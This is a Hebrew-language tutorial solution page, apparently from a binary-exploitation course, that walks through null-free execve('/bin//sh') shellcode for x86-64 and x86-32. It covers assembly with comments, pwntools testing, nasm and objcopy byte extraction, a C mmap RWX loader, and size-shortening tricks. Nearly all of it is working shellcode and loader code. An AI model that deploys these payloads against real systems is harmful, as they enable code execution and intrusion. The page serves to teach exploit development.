לדלג לתוכן

3.1 כתיבת shellcode ידני פתרון

פתרון - כתיבת shellcode ידני

בפתרון נעבור על כל תרגיל: האסמבלי המלא עם הערות, פקודות ההרכבה, ואיך מוכיחים שנפתח shell. בסוף כל תרגיל נסביר למה זה עבד ואיך להכליל.

פתרון תרגיל 1 - shellcode ל-x86-64

הרעיון: לאפס את הרגיסטרים שצריכים להיות NULL, לבנות את "/bin//sh" על המחסנית, להצביע אליה עם rdi, לשים rax = 59, ולהריץ syscall. הנה האסמבלי המלא:

_start:
    xor  rdx, rdx                 ; rdx = 0  ->  envp = NULL (argument 3)
    push rdx                      ; zero qword on the stack - terminates the string
    mov  rbx, 0x68732f2f6e69622f  ; "/bin//sh" (little-endian, no zero bytes)
    push rbx                      ; the string sits below the zero qword
    mov  rdi, rsp                 ; rdi -> "/bin//sh"  (argument 1)
    xor  rsi, rsi                 ; rsi = 0  ->  argv = NULL (argument 2)
    xor  eax, eax                 ; zero out all of rax
    mov  al, 59                   ; rax = 59  ->  execve syscall number
    syscall                       ; runs execve("/bin//sh", 0, 0)

הרכבה ובדיקת אפסים עם pwntools:

from pwn import *
context.arch = 'amd64'

sc = asm('''
    xor  rdx, rdx
    push rdx
    mov  rbx, 0x68732f2f6e69622f
    push rbx
    mov  rdi, rsp
    xor  rsi, rsi
    xor  eax, eax
    mov  al, 59
    syscall
''')

print(len(sc), 'bytes')          # 27 bytes
print(sc.hex())                  # 4831d25248bb2f62696e2f2f7368...
assert b'\x00' not in sc         # passes - no zero bytes

הפלט הצפוי:

27 bytes
4831d25248bb2f62696e2f2f736853 4889e74831f631c0b03b0f05

(רווח הוספתי רק לקריאוּת - זו מחרוזת אחת רציפה של 27 בתים.)

בדיקה שנפתח shell, ישירות מ-pwntools:

p = run_shellcode(sc)
p.sendline(b'id')
print(p.recvline())              # uid=... gid=...
p.interactive()

למה זה עבד: כל בית אפס פוטנציאלי טופל. xor eax, eax + mov al, 59 נותנים rax = 59 בלי אפסים (במקום mov rax, 59 שמייצר שלושה). את המחרוזת בת שמונה הבתים "/bin//sh" דחפנו כמקשה אחת, וה-push rdx לפניה סיפק את בית ה-\0 המסיים. איך להכליל: אותה תבנית - לאפס, לבנות מחרוזת על המחסנית, syscall - עובדת לכל קריאת מערכת, לא רק execve. רק מספר הקריאה והארגומנטים משתנים.

פתרון תרגיל 2 - shellcode ל-x86-32

אותה תבנית, אבל עם המספרים והמנגנון של 32 ביט: eax = 11, ארגומנטים ב-ebx/ecx/edx, והפעלה עם int 0x80. הדחיפות הן 4 בתים, אז מחלקים את המחרוזת לשניים.

_start:
    xor  eax, eax        ; eax = 0
    push eax             ; zero dword - terminates the string
    push 0x68732f2f      ; "//sh"  (second half, to the higher address)
    push 0x6e69622f      ; "/bin"  (first half, to the lower address)
    mov  ebx, esp        ; ebx -> "/bin//sh"  (argument 1)
    xor  ecx, ecx        ; ecx = 0  ->  argv = NULL (argument 2)
    xor  edx, edx        ; edx = 0  ->  envp = NULL (argument 3)
    mov  al, 11          ; eax = 11  ->  execve syscall number
    int  0x80            ; runs the call

הרכבה ובדיקה:

from pwn import *
context.arch = 'i386'

sc = asm('''
    xor  eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov  ebx, esp
    xor  ecx, ecx
    xor  edx, edx
    mov  al, 11
    int  0x80
''')

print(len(sc), 'bytes')          # 23 bytes
assert b'\x00' not in sc
p = run_shellcode(sc)
p.sendline(b'id')
print(p.recvline())
p.interactive()

הפלט הצפוי:

23 bytes
31c05068 2f2f7368 682f6269 6e89e331 c931d2b0 0bcd80

למה זה עבד: הסדר של הדחיפות הוא המפתח. מכיוון שהמחסנית גדלה כלפי מטה, הדחיפה האחרונה ("/bin") יושבת בכתובת הנמוכה ביותר, ולכן esp מצביע ישר על תחילת המחרוזת. mov al, 11 מסתמך על כך ש-eax אופס עוד בהתחלה. איך להכליל: זכרו שההבדלים בין 32 ל-64 ביט הם קבועים - מספר הקריאה, שמות הרגיסטרים, ומנגנון ההפעלה. אותה חשיבה, מספרים אחרים.

פתרון תרגיל 3 - הרכבה עם nasm וטוען ב-C

נתחיל מקובץ nasm ל-64 ביט, sh64.asm:

BITS 64
global _start
section .text
_start:
    xor  rdx, rdx
    push rdx
    mov  rbx, 0x68732f2f6e69622f
    push rbx
    mov  rdi, rsp
    xor  rsi, rsi
    xor  eax, eax
    mov  al, 59
    syscall

הרכבה, חילוץ הבתים, ובדיקה מהירה כתוכנית עצמאית:

nasm -f elf64 sh64.asm -o sh64.o
ld sh64.o -o sh64
./sh64                      # opens a shell immediately - quick check

objcopy -O binary -j .text sh64.o sh64.bin
xxd sh64.bin                # see the 27 bytes
python3 -c "print(''.join('\\x%02x'%b for b in open('sh64.bin','rb').read()))"

הפלט של השורה האחרונה הוא בדיוק מה שמדביקים לטוען:

\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05

הטוען loader.c עם הבתים בפנים:

#include <string.h>
#include <sys/mman.h>

unsigned char sc[] =
    "\x48\x31\xd2\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
    "\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05";

int main(void) {
    void *page = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_ANON | MAP_PRIVATE, -1, 0);
    memcpy(page, sc, sizeof(sc));
    ((void (*)(void))page)();
    return 0;
}
gcc -o loader loader.c
./loader
# id
uid=1000(user) gid=1000(user) ...
# ls
loader  loader.c  sh64.asm  sh64.bin  sh64.o

עבור 32 ביט, אותו תהליך עם הקובץ המקביל sh32.asm (עם BITS 32):

nasm -f elf32 sh32.asm -o sh32.o
ld -m elf_i386 sh32.o -o sh32
./sh32                      # quick check

objcopy -O binary -j .text sh32.o sh32.bin
gcc -m32 -o loader32 loader.c     # after pasting in the 32-bit bytes
./loader32

למה זה עבד: nasm הרכיב בדיוק את ההוראות שכתבנו, ו-ld עטף אותן ב-ELF מריץ עם נקודת כניסה _start. הטוען מקצה עמוד RWX עם mmap, מעתיק אליו את הבתים, וקורא להם כאילו היו פונקציה. בזכות ה-PROT_EXEC המעבד מוכן להריץ את העמוד למרות שהוא נכתב בזמן ריצה. איך להכליל: הזרם nasm -> objcopy -> \xNN הוא הדרך הקנונית להוציא בתים גולמיים מכל אסמבלי, וטוען ה-mmap הוא ארגז חול נוח לבדוק כל shellcode לפני שזורקים אותו על target.

פתרון תרגיל 4 (אתגר) - קיצור והשוואה

מדידת האורכים:

from pwn import *

context.arch = 'amd64'
mine64 = asm(open('sh64.asm').read().split('_start:')[1])
craft64 = asm(shellcraft.amd64.linux.sh())
print('64:', len(mine64), 'vs shellcraft', len(craft64))

context.arch = 'i386'
craft32 = asm(shellcraft.i386.linux.sh())
print('32 shellcraft:', len(craft32))

הגרסה שכתבנו ל-64 ביט היא 27 בתים. גרסת shellcraft בדרך כלל דומה או מעט ארוכה יותר, כי היא כתובה כדי להיות קריאה וכללית, לא כדי לשבור שיאי אורך.

קיצור אמיתי לגרסת ה-32 ביט: אפשר לחסוך בית אחד בעזרת cdq. ההוראה cdq מרחיבה את הסימן של eax לתוך edx (בית אחד: 99). אם אנחנו יודעים שבנקודה מסוימת eax חיובי קטן (הבית העליון שלו 0), אז cdq מאפס את edx בבית אחד במקום שני הבתים של xor edx, edx:

_start:
    xor  eax, eax        ; eax = 0
    push eax             ; terminates the string
    push 0x68732f2f      ; "//sh"
    push 0x6e69622f      ; "/bin"
    mov  ebx, esp        ; ebx -> "/bin//sh"
    xor  ecx, ecx        ; ecx = 0
    cdq                  ; edx = 0  (one byte, since eax=0 so it's positive)
    mov  al, 11          ; eax = 11
    int  0x80

זה חוסך בית אחד לעומת xor edx, edx. אחרי כל שינוי מריצים שוב את הבדיקות:

from pwn import *
context.arch = 'i386'
sc = asm(open('sh32_short.asm').read())
print(len(sc))                   # 22 bytes
assert b'\x00' not in sc
run_shellcode(sc).interactive()  # still opens a shell

לפירוק והשוואה של ההוראות:

print(disasm(sc))

למה זה עבד: cdq מסתמך על מצב ידוע של eax (0, ולכן הסימן 0), ובגלל זה הוא מאפס את edx בזול. זה בדיוק סוג התלות בין הוראות ש-shellcraft מנצל. איך להכליל: קיצור shellcode הוא משחק של ניצול מצב קיים - רגיסטר שכבר אופס, דגל שכבר ידוע - כדי לחסוך בתים. בשלב הזה כמה בתים לא קריטיים, אבל כשנגיע ל-shellcode מוגבל (פרק 3.3), כל בית וכל תו נספרים, והרגלים האלה יהיו ההבדל בין הצלחה לכישלון.